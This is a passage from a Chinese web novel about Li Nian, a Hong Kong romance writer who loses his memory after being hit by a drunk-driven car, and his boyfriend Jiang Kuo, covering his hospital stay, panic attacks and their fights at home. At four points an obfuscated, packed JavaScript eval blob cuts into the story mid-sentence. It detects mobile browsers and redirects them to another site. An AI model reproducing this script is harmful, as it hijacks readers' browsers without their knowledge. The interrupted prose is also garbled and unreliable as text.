“好。”江扩回答,对着黎念的背影若有所思。 踏出诊室门口,黎念又听见江扩在后面叫他。 "喂。"江扩对着黎念的后背脱口而出。 "啊?"黎念糊糊涂涂转过头。 "没事儿。"江扩垂头捂着太阳穴,心想估计是脑袋疼迷糊了,逮到人家后背就想叫一叫。 黎念出了医院大门,江扩才攥着单子自己推轮椅去乘电梯。第一次伤到脚出行不便,好在路上碰见有义工帮忙才轻松了点。 这边黎念坐车赶到公寓,拿完手机顺手摸了几下大福的头过过瘾又匆匆赶下楼。 等车时咂了咂嘴发觉口有点渴,刚好瞧见对面灯亮着的seven仔,便找了个人行道走过去。 此刻远处几辆古惑仔飙来的敞篷车闪着刺眼的车灯光芒,几个黄毛小子互相对着其他车上的人用白话粗口破口大骂。 车头跟醉汉摇头晃脑似的左右摇摆,如此看来这几位古惑仔刚还喝高了。 黎念在seven仔里边买了两瓶屈臣氏蒸馏水,想着一瓶给江扩。 出来时见前边远处闪着车灯,黎念想着对方应该还在很远的路口,距离这还有一段路,对自己应该没什么影响。 没想到敞篷车上这几个飙车的古惑仔都是搏命的冚家铲,趁这条路没摄像头没交警,硬是把车油门加到超速。 黎念已经到路中间的安全岛,耳旁突然传来急促的喇叭和刹车声还有古惑仔的咒骂尖叫。 黎念猛地转头,双眼被车灯刺激得眯成一条缝。脑子还没反应过来,身上不知某处就受到敞篷车车头的猛烈撞击。四肢只觉一阵飘忽,身体失重感席卷而来。 接着整个身躯往栏杆上摔去,后脑勺往地上重重一掼。 两瓶水还在怀里揣着。 "这次真扑街了。"黎念朦胧中想。 火爆整个香港地区的耽美小说作家生命就此陨落。 他本以为自己这辈子估计交代在这儿了,双眼一黑失去意识。 黎念在黑暗中再次睁眼的时候,浑身都疼,包括后脑勺,疼得几乎要再次把他的意识再次碾碎。周围充斥交警和救护车的声音,以及几个古惑仔的骂骂咧咧。 "熄匙!车牌!身份证!"黎念迷迷糊糊中听见一个貌似是交警的吼声。 接着又是迷迷糊糊听了几个关键词,醉驾,无牌车,超速。后来还加了个袭警。 抬上救护车的同时,黎念的生命体征暂时正常,护士也在一旁安慰。 感觉自己没逝的同时,黎念隐约觉得脑子里乱成浆糊,并且好像有什么很重要的东西被抽走了。 "手机拿给江扩。"黎念呢喃道。 没有人听见他的低语,黎念念了几句力气全无,再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722026|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深陷在意识黑暗中。 江扩拍完片发现骨头没事,只是单纯的扭伤,又到医生那包扎扭伤的伤口。 一切处理完毕后,江扩独自坐在诊室门口的长椅等黎念回来。 接近半夜,医院诊室长廊上的医者和患者都屈指可数。值夜班的骨科医生见没来新的患者,干脆放下手头工作给自己泡了杯速溶热可可。 江扩要了杯温水喝着,喝完靠在长椅靠背上竟然不小心睡了过去,一只脚踝包得活像条木乃伊肢体。 半夜十二点多,江扩被急诊那边的喧闹声吵醒。 黎念从离开医院到现在已经超过一个小时,公寓离这不到五千米,按理来说不应该。 江扩等得不耐烦,干脆起身拄着借来的拐杖往医院门口慢腾腾挪去,看下见不见得到黎念的身影。 “小心只脚。”医生在办公室对江扩说。 江扩朝身后的办公室点了点头,继续一步步往大厅那边挪去。 门口一辆救护车刚好下来几个白大褂以及一辆急救病床,担架上的人插着呼吸机和乱七八糟的管子。被上还有血迹。 白大褂焦头烂额推着担架经过江扩身边,江扩无意间瞥了一眼病床上的人又匆匆撇开。 这伤者还挺fashion,留着跟黎念一样的发色。也不知道这人有没有事,估计是意外。 江扩走了几步心猛地往下一沉,步伐瞬间停滞不前。 我草,那人不会就是黎念那个衰仔吧?! 江扩闪过这个念头后双腿一瘫软,转身趔趔趄趄朝那张担架冲去。 病床上的人垂着一只手露出白色被褥外,手腕上戴着一条明艳的红绳。 黎念醒过来的时候,用余光瞥见有个人坐在病床边捂着额头对窗外一言不发,一脚踝处缠着厚厚的绷带。 “哼。”后脑勺的剧痛加上骨折的一条肋骨和左臂让黎念忍不住发出一点声响。 “你踏马怎么出了车祸也不告诉我?!”江扩见黎念醒来,激动得带着哭腔朝病床上浑身缠着绷带的黎念嘶吼道。 黎念第一反应就是这人脑子有病,人出了车祸还能跑去通知他不是?! “你边位啊?”黎念脑袋又是一阵钝痛。 “你再给我讲笑!”江扩脸上还有泪痕,硬是被气笑了。 “你到底系边个?”黎念眯着眼艰难吐出几个字。 江扩的心再一次沉到谷底。 “记得你叫什么名字吗?”江扩颤抖着手去捏黎念手腕上的红绳。 “不,不记得。”黎念说罢再次陷入黑暗。 江扩对着死尸般的黎念愣了很久,桌上的手机响了。 黎念的手机早已充饱电,上面显示是他姐的号码。 江扩拿起手机按了接听键。 “我说你俩就是这样对你姐的是吧?”黎徊在那边的机场口候机楼骂骂咧咧,“老娘大老远从美国回来定居,你俩连个招呼都没有,害我又在机场迷路!” “你弟好像失忆了。”江扩捂着疼得突突直跳的太阳穴。 “啥?”黎徊失声大喊。 “三四天前出了车祸,今天刚醒,现在又晕了,”江扩说,“问了不知道自己名字,也不认识我。” 47. 第 47 章 黎徊到病房的时候,她弟躺在病床上不省人事,江扩捂着额头垂脑袋发呆。 “怎么回事?”黎徊扔下包冲到病床前。 黎念并没有被黎徊的大幅度动作惊醒。 “车祸。”江扩启齿。 “你的腿也是车祸?”黎徊问。 “不是,我腿扭伤他带我来医院,之后发现手机忘在家里他回去拿,就让几个毛头小子开车撞了,那几人还想逃逸,被几个路人拦了,”江扩垂着头偷偷摸了一下不小心渗出来的眼泪,“当时要是不回去拿手机,就不会出这种破事。” “那几个冚家铲在哪?我要剁了他们。”黎徊哽咽道。 “在警署,三个十五岁未满十六,一个十八岁,车是那个十八岁他爸的。”江扩冷笑。 这时病床上的黎念又哼唧了一声。 “痛。”黎念迷迷糊糊说。 “怎么样啊弟弟?”黎徊猛地转身趴到黎念床边。 “你边位啊?“黎念半眯双眼看着眼前这个模糊的三十出头女人的身影。 “我踏马你姐!“黎徊哭出声。 黎念摇头。 “知道自己叫什么吗?“江扩轻轻捏住黎念的手腕,黎念下意识缩开了。 “好似叫Michael。“黎念口齿不清地回答道。 江扩更头疼了。 这人忘了自己的男朋友和姐,连自己的真名都忘了,偏偏记得他那个风-流浪-荡在各种gay吧时用的英文名。 “我要训觉,我困。“黎念又闭上眼。 黎念这一觉睡到晚上八点,醒来时被几个白大褂推去做脑部CT。 江扩买了两份炒米粉,跟黎徊吃完坐到CT室门口等。 黎念躺在CT前总感觉心脏快跳出嗓子眼了。 “医生我心跳好快,是不是要死了。“一股莫名又熟悉的恐惧加濒死感涌上黎念心头。 “想那么多做什么,你又没死。“医生无情地把黎念推进CT。 “唔得啦,我真快死了。”黎念带着哭腔。 “等拍完CT去做个心电图睇下好吗?”医生不耐烦了。 毕竟人撞失忆了,对他们来说就是脑子撞傻了,跟青山里的痴线佬没什么区别。 黎念憋着气,直到坚持不住的时候才重重吐-出一口,再继续吸饱气以此来对抗急促又困难的呼吸。 直到做完CT整个人被移出CT机,黎念的濒死感不但没有减轻,反而更严重。这种感觉分明很熟悉,但他就是想不起来曾经是什么时候发生过这样类似的症状。 他只觉得快疯掉了。 “救命啊!”黎念像条死尸般瘫在CT机上嘶声力竭地尖叫,偌大空旷的CT室满是刺耳的回声。 江扩听见声音,第一个闯进去。 “什么事?”江扩扔下拐杖单只脚跳过去。 要是放在以前,黎徊还会在后面嘲笑江扩一番,现在却一点都笑不出来。 弟弟失忆了,他男朋友瘸了。更扑街的是她弟弟的急性焦虑好像又复发了。 在美国的那段时间黎念惊恐发作有多痛苦,她可是有目共睹的。 “弟弟,深呼吸。”黎徊收起眼泪蹲在旁边轻声安慰。 黎念慌乱之中瞥了这个女人一眼。虽然根本不认识这人是谁,却能让他瞬间安心些许。 黎念照做了。 “你们出去做,还有病人在出边等。”医生摆了摆手。 “能起来吗?”江扩问。 “不,不能。”黎念不清楚这人为什么总跟他讲普通话。 江扩叹了口气,跟黎徊一块把黎念的身体慢慢挪到病床。 “我要死了。”回到走廊上,黎念那股强烈的恐惧来得更猛烈。 “来继续,深呼吸,”黎徊用手心轻轻拍打黎念的胸-脯,“你现在是在经历惊恐发作,惊恐发作是心理的问题,不会产生实质性的伤害,更不可能死人。你的濒死感是大脑在欺骗你,你是绝对不会死的。” “我是绝对不会死的。”黎念喃喃重复道。 “对,现在一边深呼吸,一边接纳这些害怕和焦虑,惊恐发作症状一般持续不超过一个小时,你很快就能恢复正常。”黎徊安抚道。 江扩在旁边眼睁睁看着黎念经历痛苦却帮不上任何忙,甚至连惊恐发作是什么鬼东西都不太了解。他心里只管滴血。 二十几分钟后,黎念症状有所缓解。 “我们去病房睡吧,这里冷。”江扩再次捏住黎念的手背。 “我唔识得你(我不认识你)。”黎念意识模糊中不忘缩回手。 江扩愣了好久。 晚上在病房,黎念一直睁着眼睛直直盯着天花板了,哪怕困到眼皮打架也硬撑着。 “怎么不睡?”江扩在黎念耳旁轻声问道。 他一直奢想黎念会突然转头笑嘻嘻望着自己,从嘴里俏皮吐-出一句“大哥,我是骗你的”。 “睡了,可能就死了。”黎念呆滞地回答。 “弟弟,”黎徊抹了抹红肿的眼睛,“你望着我。” “我也不认识你。”黎念脑里满是问号。 “惊恐发作不会死人的,你是绝对不会死的,”黎徊安慰,“车祸都经历过来了,这种小病难不倒你。” “我是绝对不会死的?”黎念再次重复。 “不会死的,睡一觉就好了。”黎徊说。 “可我还是不敢睡。”黎念继续盯着天花板发呆。 深夜黎念才终于对扛不住困意,睡了过去。 隔天黎念醒过来,发现自己真的没有死,这个自称是他姐的女人没骗他。 可这个男人又是谁? 黎念偷偷看了一眼病床旁边折叠床上的男人。 这个男人一只小臂放在双眼,挡住了病房窗外透进来的丁达尔效应,仅露-出饱满又有弧度的嘴唇,似乎还在睡梦中。一只脚受伤,用绷带缠着。也不知道是怎么弄的。 黎念也不知道凝视了多久这个男人的脸,觉得这名男子的身份非常可疑,特别是他那条不知因何受伤的脚。 但黎念就是对着这男人的脸看得心头发痒。 忍了几秒,黎念偷偷伸-出那只没有受伤的手的手指,指腹顺着这人的嘴唇轮廓轻轻勾勒。 江扩睡得不沉,感应到嘴唇的温度之后便猛地伸手捏住黎念的手腕。目光炽热与黎念对视。 “你记起我了?!”江扩眼里有泪花。 “放开我!”黎念被捏得恼怒,一时胸口刺痛。 黎念抽回手,捂着胸-脯痛苦地喘了几下。 等这痛劲缓过去,黎念才重新躺到枕头上。 “你们是谁?”黎念问。 “等你回家就知道了,我们有很多记忆,我是你男朋友!”江扩再次不顾黎念的强烈不满,紧紧捏住手腕滔滔不绝,“看见这个手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722027|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕的红绳没有,是我们一起去求的姻缘,还有你的戒指,都是你生日我送的!” “这红绳,好难看。”他可没这种土得掉渣的审美。 想了想,黎念直接抬起手放到嘴边,把红绳硬生生咬断,还好牙齿没蹦坏。 一截红绳轻飘飘掉到被褥上。 “你干什么?”江扩怒道。 “病房别吵。”一名护士在门口不耐烦道。 黎念抿了抿嘴唇,盖上被子两耳不闻窗外事。 江扩愣了好久,不清楚自己到底该向谁发脾气,最后只好捡起掉在地上的红绳,宝贝一般藏在兜里。 这红绳反正也能修好的吧。 下午黎念的CT结果出来了,医生把家属叫到办公室。 江扩跟黎徊两人坐到医生面前后,医生上下打量两人一遍。 “是同病人什么关系?”医生扶了扶眼镜。 “姊姊。”黎徊回答。 “同性伴侣。”江扩回答。 医生点头,把昨天黎念的CT结果拿出来。 “他的失忆什么时候好?”江扩问。 “这个由不得我说,要看病人自己恢复情况,”医生把结果放到两人面前慢慢解释,“车祸脑外伤导致的短暂性失忆,当然还有一部分是他的心理原因,遭受严重意外心理有创伤,也会导致一部分记忆丢失,这也可以说是大脑的自我保护机制。” “病人的失忆可能过几天就好了,可能要很久,甚至一年。”医生说。 江扩下意识攥了攥拳头。 “这段时间要注意什么?”黎徊见江扩闷声不说话,只好问医生。 “不要吃刺激性食物,不要喝酒和咖啡,不要受刺激,保护头部不要受二次伤害。”医生回答,“我开点药,每天按时吃,一周后复诊。” “他的焦虑好像又复发了,这个怎么办?”黎徊又问。 “这个去找精神科医生。”医生低头在药单上签了个名。 回到病房,黎念刚好醒过来。 “弟弟。”黎徊喊了一声。 “我总觉得睡一觉就会死掉,为什么醒过来还没死?”黎念抬起发抖的左手看了看。 “你不会死的。”黎徊安慰。 江扩默默看了记不起男朋友的黎念一眼,一瘸一拐坐到旁边的椅子上照着药单给黎念掰药。 “吃下去。”江扩一手捧药,一手拿着用纸杯倒好的温水。 黎念垂眸看了一眼这人手心里的药,数数大概有十颗。这人要毒死他。 “你要毒死我。”黎念提高警惕往后缩了缩。 “这是医生开的药,乖,快吃。”江扩轻声劝道。 “快吃吧。”黎徊也劝。 “不吃。”黎念猛地伸出左手,把江扩手中的药片打落在地,纸杯里的水也溅的满地都是。 几颗圆滚滚的药片在地上散开,有的滚进床底,有的滚在江扩脚边,有的掉在被褥上。 “我求你了。”江扩舔了舔干燥苍白的嘴唇。 “我不认识你,你凭什么喂我吃药。”黎念盯着那些乱七八糟五颜六色的药片,眼神满是恐惧。 黎徊见状只好去捡药。江扩轻轻推开黎徊,自己俯身把药片一颗颗捡起来。 他认识了十多年的男朋友。从那个校门口偷单车的黎大福到同居几年的耽美作家黎念,他都记忆深刻。 可为什么现在他像是别人? 48. 第 48 章 香港医院的床位一向紧张,大概一个月后黎念就被告知离院。 “我的家在哪?”黎念坐在轮椅上左顾右盼。 “你跟我住好多年了。”江扩在轮椅后面说。 “我跟你住?”黎念一脸嫌弃。 “不信我带你去看,我们家里还有只狗,叫大福。”江扩说。 “我不喜欢狗,”黎念更嫌弃了,“也不喜欢这个名字,谁取的?” “你以前的名字就叫大福。”江扩解释。 “痴线。”黎念有点厌恶眼前这个说胡话的男人。 “我要跟她住。”黎念指着黎徊。 “不行啊,我刚搬进去那个出租屋现在还家徒四壁呢,”黎徊说,“乖,等过几天姐姐去看你,到时候你想搬再搬吧。” “我不要跟这个人住一起。”黎念皱眉。 “乖,等你回去说不定就能记起我来了。”江扩满脸憧憬道。 黎念开始闹,江扩连哄带骗才勉强把人弄上的士,轮椅放在后车厢。 黎徊对着背影擦眼泪。 由于在车上闹腾被江扩紧紧按了一路,下车的时候黎念已经没什么力气。只好任由江扩摆布。 重新坐回轮椅,黎念垂头丧气地被江扩推进电梯间。 “我等一下给你看咱们的相册还有我送的键盘,还有我几年前让你签的条约。”江扩怕黎念受惊,忍着不去摸黎念的头。 自从黎念失忆后,江扩他一直这样小心翼翼。 “你送键盘干什么。”黎念冷冷道。 “给你码字啊。”江扩心想这傻货不会是连自己职业都忘了吧。 “码咩字?”黎念一头雾水。 “你是耽美作家,在香港这边很火的,和hg出版社签约,还开展过几次新书发布会。”江扩回答。 “我不喜欢这种职业。”黎念皱眉。 “为什么?”江扩愣了。 “与其写一大堆不符实际的爱情故事,不如亲身去体验好几场轰轰烈烈的恋爱。”黎念鼻腔喷出一丝轻蔑。 “你敢。”江扩咬紧牙说。 “我为什么不敢?”黎念回头看了江扩一眼,“你以为你是哪位?敢这样指使我。” “我哪位?我踏马你男朋友!”江扩愠道。 电梯门开了,江扩心想不应该跟一个失忆患者计较,便板着脸把人推出电梯。 大福在里面听见声音,急匆匆跑到门口抓门,一边呜呜叫。 虽然黎念住院期间江扩有拜托江收帮忙喂大福,但两个主人消失这么多天,大福不委屈才是怪。 “你看,咱们女儿在里面等我们呢。”江扩微笑拿出钥匙开门。 “痴线。”黎念嘴角抽搐。 他想过这辈子没有子嗣,但没想过自己的女儿是条狗。 江扩开了门。 “你看,这是咱们的家。”江扩指了一圈这间破房子。 “你是哪里人?”黎念问。 “潮汕,你忘了吗?”江扩尽量表现出一副轻松的样子,“哦我想起来了,你本来就是忘啦。” “我呢?”黎念问。 “东北的,辽宁那块儿。”江扩回答。 “不信。”黎念根本不会说东北话。 “你不要跟我讲普通话,我不习惯。”黎念别过头。 “好吧,”江扩想起这几天黎念确实没说过东北大碴子话,叹了口气,“你中意就好。” 大福看见熟悉的俩主人,兴奋得一蹦直接上了黎念的轮椅,狗尾巴摇的像朵花,湿漉漉的狗舌头舔得黎念满脸黏糊糊。 “狗啊!!!!”黎念发出一声尖叫。 “下去。”江扩轻声劝大福。 “下去!”黎念怒喝,一边紧闭双眼把大福推倒在地。 大福翻了个身,无辜的眼神瞬间变得泪汪汪。 “把它弄走。”黎念往后缩了缩。 “怎么可能弄走,香港弃养宠物是违法的,”江扩心疼地抱起小狗,“况且要找新主人怎么可能那么快找到。” “要么它走,要么我走。”黎念厌恶面前一狗一人。 “过几天好吧,过几天再送人。”江扩用几近哀求的语气说。 他相信过不了几天黎念记忆会恢复,到时候所有问题都可以迎刃而解。 黎念好不容易躺在床上睡着之后,江扩收拾了一整天屋子。 江扩害怕大福再吓到这个失忆症患者,只好整天把大福关在狗笼子里。 黎念睡得很沉,傍晚时大福开始在笼子里叫,貌似快憋不住了。 “咩事啊大福?是不是想屙屎?”江扩拿了狗绳过去对大福明知故问。 鬼鬼祟祟打开笼子的时候,江扩还一边望向卧室那边看看病号有没有被吵醒。 在这种时候,黎念还是睡着了让人更安心些。 牵着大福出门口之前,江扩还专门去床边看看。很好,睡得像头猪。 “大福,走,屙屎去。”一人一狗进了电梯间。 这边黎念正在噩梦中。梦里黎念经历了无数次一模一样的车祸,还一直有个声音在飘渺。 “宝贝儿,醒醒。”那个人声说。 梦里黎念很想对着那个熟悉温柔的声音嚎啕大哭,却怎么也哭不出声。 惊醒过来的时候,身边毫无一人。 黎念张了张嘴,不知道要喊谁。那个自称是他男朋友的跛仔根本不知道姓甚名谁,况且现在也找不到人影。 更麻烦的是,他现在焦虑躯体化又开始了,手抖得像帕金森,头剧烈疼痛。 黎念忍着头痛,一瘸一拐去厨房找水喝。 走了一半,猛然觉得觉得心脏咯噔跳了几下,似乎有些心律不齐。 焦虑症患者就是容易将身体的轻微不适放大。就像现在,黎念觉得自己急性心梗快死掉了。 身体忽冷忽热间,黎念倒在旁边墙上,身体向一侧慢慢滑倒。 “救命啊。”黎念心中尖叫。 “我要死了。”发不出任何声音。 江扩带大福回家的时候,一开门就看见地上躺着个穿着睡衣死尸般的黎念。 “黎念!”江扩扔下狗绳,冲过去蹲下。 “我要死了。”黎念两片嘴唇苍白。 黎念濒死间想起每个人挂掉之前都得讲几句遗言,还得跟亲朋好友道别,顺便讲句对不起不能再陪你们了诸如此类的。 然而他脑里一大部分记忆缺失,压根想不起有什么最亲的人。 “对不起。”黎念惨笑。 大福凑过去,又舔了一下黎念的脸。 “跟谁说对不起?”江扩愣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722028|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不知道,”黎念说,“我要死了。” “你不会死。”江扩搂住黎念。 “放开我。”黎念浑身无力,任由这个陌生人搂着。 “我给你救护车。”江扩颤抖着手去拿手机。 不料黎念刚听见救护车三个字,又开始嘶声力竭喊救命。 “救护车怎么了?”江扩按住黎念。 “怕,”黎念双眼呆滞看着天花板,“上去就要死了。” “我问你姐。”江扩见几番安慰未果,只好拨打远在九龙的黎徊的电话号码。 电话许久通了,黎徊似乎早料到这通电话不是什么好事儿,语气也急切切。 “我弟怎么了?”黎徊问。 “惊恐发作,”江扩舔了舔干燥的嘴唇,“我没接触过,怎么办?” “我踏马就知道他又会,”黎徊骂了一声,“要先让他接受现在正在经历惊恐发作,惊恐发作时间不会很长,大约半个钟后会自行缓解再到消失。然后让他相信惊恐发作不会导致死亡,减少他的濒死感。” “家里有没有什么风油精双飞人这类比较提神的药水,弄点涂我弟额头眉心人中上,可能会好一些。” “你也千万不要在他面前表现很紧张,一定要装作无事发生。”黎徊提醒道。 江扩把黎念横着抱到沙发上,一边把手机夹在肩膀,焦头烂额地在客厅翻找风油精或者双飞人。 “对不起。”黎念只觉得一阵濒死和窒息感再次朝他涌来,绝望间又吐出这句话。 “听着宝贝儿,你不会死,”江扩找到一瓶剩半瓶的双飞人药水,倒出一点涂在黎念人中和眉心上,“你现在是经历惊恐发作,不是你想的什么心梗猝死。” “是吗?”黎念讷讷问道。 “是,你就算不信我,也要信你姐说的,”江扩说,“惊恐发作时间不长的,再忍个半小时就过去了,有我陪着呢。” “车祸咱都过来了,这个小病咱们不怕。”江扩重重捏住黎念的手背。 好巧不巧黎念听见车祸俩字又开始应激,这会哭出声来了。 “滚!”黎念吼道。 江扩被推开之后,愣了很久还是想不出自己说错什么。 黎徊说完早挂了电话,江扩把生平所有会安慰人的话一股脑搬了出来,终于一个钟过去了。 黎念在逐渐减缓的极度恐惧中,逐渐撑不住困意在沙发睡着了。 江扩轻轻抱起黎念,放到床上盖好被子,这才松了口气。 之后熄了灯躺回到黎念身边时,江扩睁眼盯着天花板,两个小时后还是左右睡不着。 自从黎念出车祸到现在,江扩一度精神紧张,也没睡过一次好觉。 江扩感觉自己都快焦虑了。 翻了个身。 “江扩。”身边的黎念梦呓。 江扩惊坐起,睁大眼睛看着旁边熟睡的黎念。 “大哥。”黎念又念道。 江扩身体一动不动,精神却异常兴奋。 难道黎念在梦中不会失去原有的记忆?或者说这一觉醒来,他的记忆就恢复了?! “耶!”江扩轻轻拨了一下黎念鬓间的头发。 怀着忐忑,江扩睡了过去。 第二天江扩是被黎念的左手拳头用蛮力捶醒的。 49. 第 49 章 江扩疼醒后,费了九牛二虎之力才把黎念拳头止住。 “你又干什么?”江扩胸口还在火辣辣的疼。 “谁让你睡我这的?”黎念啐了一口,“你这咸湿佬。” “我是你男朋友,你说我睡哪?”江扩一手扇在黎念额头,“你个冚家铲看清楚点,老子是陪你快十年的男朋友!” “我不信。”黎念往后缩了缩。 “来来来来,你自己看哈,”江扩骂骂咧咧揪起黎念的耳朵,“什么狗屁失忆,老子就是不信邪。” “放开我。”黎念挣脱,轻轻碰了碰被揪过的耳朵,撕裂般的疼。 黎念鼻子一酸,流下两行泪的同时一个大鼻涕泡钻出来。 江扩愣了愣。 这货虽然失忆成了智障,基本的技能还是没忘,这会已经成功让江扩满心愧疚。 “别别别哭。”江扩缩回手。 “你要我看什么?”黎念擦干眼泪。 江扩轻轻拽住黎念的袖口走到书桌旁边,他没胆敢牵黎念的手。 “这些,我写给你的歌词,一共有八首,加上这个未成品有九首。”江扩说。 “我看看。”黎念黑着脸伸-出手。 江扩低头看了一眼黎念白皙的手,突然想起很久没有跟黎念正常牵过一次手了。 下一秒,江扩鬼使神差地探出一只手,跟黎念伸-出的手紧紧相握。 “啊啊啊啊啊啊啊~”黎念如碰到洪水猛兽般原地尖叫。 江扩猛然放了手,黎念一脚把江扩踹到床上。 “你个死变-态!”黎念怒道。 “你个冚家铲敢动我!”江扩捂着腹部从床上爬起,冲着黎念啐了一口,“来啊,怼死我啊!” “怼你老母条烂嗨,”黎念蓄力几秒后出口成脏,“你个戆居扑街仔我顶你个肺塞你个胃顶-到你花开又富贵!” 江扩第一次在这张口中听到这么多的粗口,难免目瞪口呆。 黎念对着蠢蠢欲动江扩安静片刻,也开始摩拳擦掌。 “来啊,打,打死我算了,我看谁照顾你个无脑的白-痴!”江扩跳下床跟黎念对峙。 大福见俩主人要开打,急得在笼子里团团转。 “唔......汪汪!”大福吠了几声。 黎念白了客厅一眼,趁江扩听见狗声松懈下来的间隙猛扑上去。 这鬼地方他是不能待了,一个自称是他男朋友又证据不足的全身上下没有一点gay样的死直男,和一只长相丑陋拖着湿-漉-漉大舌头的傻白狗。再待下去他说不定要死。 江扩根本没料到黎念会真打,手还没来得及抬起来防御脸上就结结实实挨了一拳。 一声咆哮过后,江扩反朝黎念扑去,胸-脯结结实实撞在一起,两人往地上砰一声倒去。 这结实一撞,撞醒了黎念的一丁点零碎记忆。 好像自己很久以前和哪个人也这么撞在一起过...... 然而回忆到这里就到尽头了。还没来得及细想,江扩便扯住黎念的衣领往脸上抡了一拳。黎念吃痛,一边生理性流泪一边也扯住江扩的衣领。 俩人在地上撒欢似的滚来滚去,上上下下左左右右砸了个遍。 “你他娘的疯了?!”江扩吐掉口里的血沫。 “你才是癫佬,锁我两天,我要告你非法囚禁!”黎念继续往江扩脸上砸拳头。 江扩已经无力抵抗,抬起屁股就往客厅外爬。 黎念见这江扩爬得跟蛆虫似的恶心,又揪住江扩一只脚后跟死命扯过来。 “放开我!”江扩刚痊愈没多久的脚踝传来一阵剧痛。 再不挣脱,估计这辈子他就要死在这个失忆的傻逼男朋友手下。 江扩使劲吃奶的力气连滚带爬向客厅,一边抓住周围乱七八糟的东西往后边抛去。 “你个冚家铲毋走啊!”黎念被烟灰缸砸到胸脯,强烈触痛后忍着眼泪抓得更起劲了。 楼下居民只听见天花板上一阵乒乒乓乓。 江扩把破沙发上面一堆枕头扔完,开始扔大块儿的坐垫。 然而这些东西对黎念这个一米八二同时还是脑子有问题的男子根本毫无攻击性。黎念顿了顿,直接整个人扑上来。 最后沙发只剩一张边缘角有点发黄但保护得还算完整的白纸,黎念明显也被那张反光的白纸吸引住。 上面记着一行行黑色蚯蚓体的规则,字迹群魔乱舞。 江扩跟抓到救命稻草似的,倏地把白纸抓过来往黎念身上扔。 “你自己看看,你男朋友写的!我!老子写的!”江扩嘶声力竭道。 黎念迟疑,俯身从地上捡起泛黄的白纸。 “唔准去gay吧,健身房必须有江扩一起;必须系香港时间22:00之前返屋企,有事耽搁需报备;唔准酗酒,唔准酗咩啊?可乐?......唔准和前男友讲话;唔准......”黎念越念脸色越难看。 “江扩是哪个?”黎念用蹩脚的港式国语问。 “你男朋友。”江扩黑着脸说。 “哦,我系Michael,我男朋友叫江扩。”黎念皱眉,火消了一半。 “江扩就是我啊冚家铲!”江扩急得飙出白话精粹。 “又来骗我!”黎念攥紧白纸冷笑,“这种条约完全就是在限制一个人的人身自由包括吃喝玩乐,这种破条约谁遵守谁就是痴线佬。” “你再看看下面!”江扩见几年不变的条约变了形,难免一阵心疼。 还好下面还有关于身体健康以及对上面每一条的解释,说不定黎念看了会记起一点。就算啥都不记得,至少还能遵守条约听听话,先治好这个焦虑症。 然而黎念不想看,直接顺手在茶几上抓来一个打火机。 江扩绝望了,伸手就扑过去抢。 “不管这章条约到底处于什么用途,”黎念一边点燃纸的一角一边若无其事地道,“既然说是不平等条约了,那它就是不平等的,就像当年清朝签的割让领土条约,不该存在于世。” 江扩眼睁睁看着条约从边缘角随着黑烟慢慢消失一半,在黎念淡漠的眼神下抢过一半废纸,抓来茶几的冷水壶浇灭火苗。 拿起一看,条约上重要的东西全没了,只剩下条约标题和不准两个字。 “你踏马连历史知识都记得,偏偏不记得我!”江扩咆哮上前,一拳挥到黎念脸上。战斗在客厅继续。 正当黎念正准备往江扩满是淤青的脸上再抡一拳撒撒气时,江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722029|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扩抓住黎念的拳头,把最后的希望寄托在黎念左手的戒指上。 “对了,你手上!手上有我送你的戒指,上面还有英文简称!”江扩狂笑几声。 黎念怀疑这人癫了。 “快,快摘下来看!LN和JK!”江扩激动得喷出几口唾沫星子。 黎念一脸嫌弃躲开后,摘下戒指皱眉看了看。 “看吧!黎念和江扩!”江扩再次狂笑。 上面刻着两个英文缩写,是LN和JK没错。 “我叫黎念?”黎念皱眉,“我不是Michael吗?” “迈你老母!”江扩怒道。 黎念此刻的反骨情怀彻底激活,这人越气,他就越上头。 